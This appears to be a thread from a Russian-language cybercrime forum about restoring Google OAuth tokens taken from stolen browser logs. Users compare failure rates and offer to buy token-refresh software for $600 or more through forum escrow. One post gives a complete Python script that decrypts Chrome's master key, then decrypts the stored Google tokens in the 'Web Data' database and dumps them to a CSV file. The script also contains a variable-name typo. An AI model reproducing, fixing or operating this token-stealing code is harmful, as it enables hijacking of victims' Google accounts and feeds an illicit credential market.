• XSS.stack #1 – первый литературный журнал от юзеров форума

Google 0AUTH Token restore

Пожалуйста, обратите внимание, что пользователь заблокирован
Он извлекает из логов токен и ид, а я хочу узнать у всех выдаёт ошибку 403 при отправке запроса или только у меня у одного так?
 
Уже на половину мертвый способ , 80% токенов отлетают после рефреша , возможно дело в трасте , если есть у кого-нибудь актуальный софт/скрипт который не убивает токены , приобрету , через гарант данного форума.
 
Уже на половину мертвый способ , 80% токенов отлетают после рефреша , возможно дело в трасте , если есть у кого-нибудь актуальный софт/скрипт который не убивает токены , приобрету , через гарант данного форума.
По чём?
 
По чём?
Что по чем ? За сколько приобрету ?
В зависимости от траста , и жизни токенов , чтобы софт не убивал токены .
Начиная с 600$
 
Последнее редактирование:
Что по чем ? За сколько приобрету ?
В зависимости от траста , и жизни токенов , чтобы софт не убивал токены .
Начиная с 600$
все же ок, все по этому методу ресают
 
Hi, is there similar solution for v140? Web Data is an empty database on my chrome, yet i logged in a gmail.
Worked on chrome version : Version 120.0.6099.217

CODE TO GET THE TOKEN AND ID :

Python:
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv

# GLOBAL CONSTANT
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data" % os.environ['USERPROFILE'])

def get_secret_key():
    try:
        with open(os.path.join(CHROME_PATH, "Local State"), "r", encoding='utf-8') as f:
            local_state = json.load(f)
        secret_key = win32crypt.CryptUnprotectData(base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:], None, None, None, 0)[1]
        return secret_key
    except Exception as e:
        print(f"{e}\n[ERR] Chrome secret key not found")
        return None

def decrypt_password(ciphertext, secret_key):
    try:
        initialization_vector = ciphertext[3:15]
        encrypted_password = ciphertext[15:-16]
        cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector)
        decrypted_pass = cipher.decrypt(encrypted_password).decode()
        return decrypted_pass
    except Exception as e:
        print(f"{e}\n[ERR] Unable to decrypt, Chrome version <80 not supported")
        return ""

def get_db_connection(chrome_path_login_db):
    try:
        shutil.copy2(chrome_path_login_db, "Loginvault.db")
        return sqlite3.connect("Loginvault.db")
    except Exception as e:
        print(f"{e}\n[ERR] Chrome database not found")
        return None

if __name__ == '__main__':
    with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
        csv_writer = csv.writer(decrypt_password_file, delimiter=',')
        csv_writer.writerow(["index", "service", "decrypted_token"])

        secret_key = get_secret_key()

        folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$", element) is not None]
        for folder in folders:
            chrome_path_login_db = os.path.join(CHROME_PATH, folder, "Web Data")
            conn = get_db_connection(chrome_path_login_db)

            if conn:
                cursor = conn.cursor()
                cursor.execute("SELECT service, encrypted_token FROM token_service")

                for index, token_entry in enumerate(cursor.fetchall()):
                    service, encrypted_token = token_entry
                    if service and encrypted_token:
                        decrypted_token = decrypt_password(encrypted_token, secret_key)
                        print(f"Sequence: {index}\nService: {service}\nToken: {decrypted_token}\n{'*' * 50}")

                        csv_writer.writerow([index, service, decrypted_token])

                cursor.close()
                conn.close()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх